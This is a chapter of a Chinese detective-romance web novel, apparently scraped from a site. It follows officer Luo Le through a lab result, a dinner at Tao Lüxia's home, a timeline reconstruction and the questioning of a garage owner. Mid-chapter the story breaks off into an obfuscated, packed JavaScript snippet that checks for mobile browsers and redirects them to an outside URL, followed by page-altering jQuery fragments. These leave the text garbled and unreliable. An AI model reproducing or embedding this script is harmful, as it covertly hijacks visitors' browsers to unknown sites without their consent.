星期一下午,技侦实验室,罗乐翻着报告低声念:“二甲苯?”
“二甲苯嘛……”陈建平慢悠悠地刚开了个头。
“行,我先走了,辛苦。”罗乐啪地合上报告,转身就往外走。
没说完的话在嗓子里卡了两秒,陈建平一脸莫名地转头望向冯宁:“他今天怎么这么利落?平时不是恨不得把分子式背下来才肯走?”
“可能是心里有数。”冯宁没抬头,手指在键盘上噼里啪啦地敲个不停。
电话响了两声就通了。
陶律夏:“二甲苯?你为什么不在实验室问清楚?我又看不到报告。”
“没顾上。”罗乐顺着步梯往下走,“你跟我讲讲。”
陶律夏:“汽修店的环境中,大概率是用在油漆稀释剂或者清洗剂里。”
“二甲苯对空气、水体、土壤的污染风险都不低,正常来说,店主不能随便乱倒。我查一下这类产品的环保限值发你,你可以对照检测数据看看,店主是不是用了违规溶剂。”
两人你一言我一语地把报告里的要点讲完,话题渐近尾声,罗乐像是随口一提:“晚上想吃什么?”
“你要过来?”陶律夏问。
“废话,你这情况,我能放心?”罗乐推开旋转门,脚下带风地迈下台阶。
可台阶没走完,就觉出不对劲,电话那头安静得太久了。他脚步一缓,低头看了一眼手机:屏幕亮着,通话没断。
一秒、两秒、三秒……
时间漫长到让罗乐心口发毛,他忽然就怕了,怕听见那句——“别来了”。
风卷着毛絮在半空翻飞,像纷扰的乱雪,罗乐停下脚步定定地站在正午的日头下。
“也没有特别想吃的。”陶律夏终于出声。
罗乐肩膀一松,心也跟着落了地,他抬起手用报告遮着太阳,阔步往办公室走去。
“那你家有高压锅吗?”罗乐又问。
“没有,怎么了?”
“知道了,你晚上别点外卖,等我。”没等对方回话,他就挂断了电话。
傍晚,厨房里传来高压锅“咝咝”的排气声,锅里是罗乐炖的骨头汤。瘦肉、排骨、红白萝卜各半,要是换成砂锅慢炖三小时,汤头会更好,可今天没有时间。
学做饭对罗乐来说,曾经是件难事。
起初他以为做饭不过是“照着步骤琢磨一下,就能上手”的技能,结果真动起手来才发现:哪怕一板一眼照着菜谱复刻,厨房依旧能乱成“案发现场”。
也不怪沈月枝这么多年做饭总爱凑合……
从“蒸米饭放多少水”都要上网查的「厨房菜鸟」到现在能把刀工、火候、调味拿捏得像模像样,罗乐断断续续磨了一年多。
接水、等火的空档,他透过厨房的玻璃门往外望,陶律夏正坐在餐桌上写写划划。罗乐看着看着,心里就涌起甜来,那些把食物炒糊、煮烂、炖黑的惨烈经历,好像都是为了换来眼前的这一刻……
排气声停了,他泄压开盖,又从蒸锅里取出几个包子,白菜肉馅,食堂公认的金牌面点。做好的菜也一一端上桌:菠菜拌粉丝、葱油手撕鸡、冷豆腐。
“骨头汤,给你补钙。”罗乐随口说着,拿起包子咬了一口。
陶律夏喝完碗里的汤,用实际行动表达了好评:“再来一碗。”
罗乐笑着起身,骨头汤里的钙少得可怜,真正析出的主要是氨基酸和嘌呤,以「陶神」的知识储备,不可能不知道。可他一句都没拆穿,大概是给自己的例外。
吃完饭,罗乐哼着小调把碗筷收进洗碗机,打开小冰箱翻了又翻,扭过头问:“你的酒呢?藏哪儿了?”
“戒了。”陶律夏擦着桌面。
冷气拂过脖颈,罗乐半天没动,手指搭在冰箱门边,沉默片刻才缓缓合上。
“汽修店主那边有什么进展吗?”陶律夏像没事人似的问。
罗乐回过神来,拿了一罐气泡水打开喝了:“他那天晚上去倒的是一种廉价但不环保的清洁剂,主要成分二甲苯,和M酮无关。估计我们去得太勤,他怕违规用料的事暴露。”
“我查完监控就直接过来了,刚好你也帮我分析分析。”罗乐拿起一张纸往桌面一铺,画了起来。
“裴晓冬21点37分送完最后一单外卖离开汽修店,21点45分接到汽修店主周平的电话,22点15分在双柳公园烧纸。”
“而周平当晚21点50分出门,去了个离店巨远的便利店交易,一直到22点30分,他一直坐在便利店外面,像是在等人。”
“这么看,他没有作案时间?”陶律夏说。
“对,我也这么想,除非他有同伙。”罗乐盖上笔帽。
陶律夏看着纸上的线路图,又翻了翻地图:“裴晓冬为什么要去那么远的地方烧纸?汽修店到双柳公园,这两个点隔着将近三公里。”
“他家住在哪儿?”
罗乐重新拿起红笔,在线路图左下方标了个点:“海中小区。”
陶律夏:“从汽修店走科翔路回海中小区更近,直线距离不到一公里,裴晓冬却绕道去了双柳公园?”
罗乐在纸上补了个十字符号:“再具体一点,他绕道去了双柳公园南侧的十字路口。”
“为什么要在十字路口烧纸?”陶律夏问。
“在一些民俗中,十字路口是阴阳交界的地方。”罗乐回。
“那为什么是双柳公园的十字路口?沿途明明有不下十个十字路口,你看这个--”
陶律夏拿出地图:“第五小学所在这条路岂不是更适合烧纸,这里晚上甚至没有什么机动车路过。而双柳公园那一带,不仅车多人多,还有路政施工。”
“这条路线是不太合理。”罗乐点点头,“裴晓冬是外卖员,这一带的路况他肯定比导航还熟,没理由走岔。”
“要么他有事去了双柳公园附近,然后就近找了个十字路口烧纸,要么……”陶律夏语气一顿,抬眼看着罗乐:“那个地方对他来说,有什么特别的意义。”
“我可能漏了点什么。”罗乐一边说,一边抓起椅背上的外套,“周平的留置时间还有四小时,我得过去一趟。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307998|177278||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“你还回来吗?”陶律夏问。
“弄完估计就晚了,我在单位凑合一宿。”罗乐折回桌边,在纸上写下一串数字,“你有事打这个号码,二十四小时待机。”
“那个……”陶律夏叫了一声。
罗乐转过身,门厅昏黄的灯光映在他的脸上,在眼睫下投下一层浅浅的阴影。
“我的车还停在网球场,你明天来的时候,能帮我开回来吗?车牌号北J12131,钥匙就在你手边的托盘里。”
“好……”罗乐温声应道。
“周平。”罗乐拉过椅子坐下。
“你好好想清楚,3月28号那天晚上,裴晓冬走了之后,你给他打电话都说了什么,一个字都不要漏。”
周平抬起眼皮,语气不耐:“警官,我都说几遍了。不就是让他帮我跑一趟重新取个饭吗?他不愿意。”
罗乐盯着他:“你都准备给他差评了,他就回你俩字‘不去’?”
“他说有别的事。”周平敷衍了一声。
“什么事?”罗乐继续追问。
“我哪知道!”周平烦躁起来,往椅背上一靠,“我又不是他亲爹,他去哪儿我能管得着吗?”
“好好配合!”罗乐拍了桌子一把。
“你那些桶可还在我们这儿放着呢,你要再装糊涂,我就全部送到环保局!你自己算算得罚多少钱!”
“他说要去买东西,那地儿十点要关门。”周平嘴角动了动,语气软了下来。
“去哪里买东西?”罗乐向前探了探身。
“这我就真不知道了。”周平皱着眉回忆,“他就说自己已经到中山路了,没法帮我取餐……”
从审讯室出来,罗乐出门透气,花坛边,苗川正夹着根烟,火星在夜色里忽明忽暗。
“来一根?”他冲罗乐晃了晃烟盒。
罗乐摆摆手:“不会。”
几辆警车呼啸着驶向大门,蓝红色的警灯在院墙上交替闪烁,光影像水波一样一圈圈荡开。
苗川的目光掠过罗乐的脸,像在打量一个异类:“上班几年了?还没学会?”
罗乐:“百害的东西,我学它干嘛?”苗川抖了抖烟灰,哼了一声:“够惜命的,怎么?你还怕死啊?”
月亮从云层里钻出来,罗乐仰头望着,笑道:“怎么不怕?我对象还小,我得长命百岁,一直陪着他。”
苗川被烟呛得咳了两声,他抬眼瞅着罗乐,像听到什么荒诞的午夜笑话,揶揄道:“你哪来的对象?上小学呢?那你是得多活几年,等人家长大。”
罗乐没接这茬,他嘴角勾着,抬手揉了揉太阳穴,又问回案子:“事发当天,21点30分之后,裴晓冬手机里有没有付款记录?”
“没有。”苗川吐了口烟,“怎么?有线索?”
“我怀疑他在送完最后一单到双柳公园烧纸之间,绕去了别的地方。”罗乐目光微沉。
苗川想了想,侧头看他一眼:“有没有一个最简单的可能……”
“嗯?”
“他就是去买纸钱了。”